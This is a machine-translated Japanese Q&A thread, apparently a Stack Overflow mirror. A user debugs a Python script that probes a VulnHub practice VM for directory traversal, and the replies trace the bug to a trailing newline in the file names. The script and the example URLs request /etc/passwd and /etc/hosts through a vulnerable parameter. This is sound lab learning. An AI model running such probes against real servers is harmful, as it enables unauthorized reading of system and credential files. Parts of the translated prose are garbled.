2017-12-01 9 views
0

スクリプトチェック

以下の簡単なスクリプトは、ディレクトリトラバーサルの脆弱性をチェックするスクリプトです。ファイルは、ウェブサーバがエラー "ストリームをオープンに失敗しました" を返しますが存在しない場合は

http://192.168.152.152/index1.php?help=true&connect=の/ etc/hosts http://192.168.152.152/index1.php?help=true&connect=/etc/passwdファイル

:それはのようなファイルのために例えばチェックします。

import requests 

def checkfile(file): 
     url = 'http://192.168.152.152/index1.php?help=true&connect=%s'%(file) 
     r = requests.get(url) 
     **if "failed" not in (r.text):** 
       status = "[OK]" 
       return status 
     else: 
       status = "[FAILED]" 
       return status 

with open('files', 'r') as f: 
     for file in f: 
       result = checkfile(file) 
       print "File %s %s" %(file, result.strip()) 

は、ファイルが存在しないと何のエラーメッセージがスローされ、 "失敗した" としても、私のスクリプトは常に返さ私の問題 "[FAILED]"。 r.textには、weserver(htmlページ)からの応答全体が含まれています。誰が助けることができますか?

ps。これは法的なセキュリティ挑戦の一部です(https://www.vulnhub.com/entry/pwnos-10,33/

+0

あなたのコードは 'r.text'列として'「失敗」 '含まれているかどうかを「失敗」のエラーメッセージがスローされますが、かどうかをチェックしません。 – Goyo

+0

ありがとうございます。はい、しかし失敗した場合はr.textにする必要があります(そうでなければなりません)。なぜ、ifが失敗したのですか?(r.text)ではありません: 'not work?それに代わるものは何ですか? – bsdanm

+0

あなたはそれがうまくいかないと思いますか?あなたは「そうすべきですか」と言いましたが、それは意味がありません。実際の 'r.text'の内容だけが重要です。 – Goyo

答えて

0

スクリプトは主に問題ありませんでした。 Via Wireshark私は何が間違っているのか見た。すべてのファイルの後ろにスペースがありました。

GET /index1.php?help=true&connect=/etc/passwd%0A <-----%A0 = space 

したがって、それがうまく動作すると削除されます。

result = checkfile(file.strip())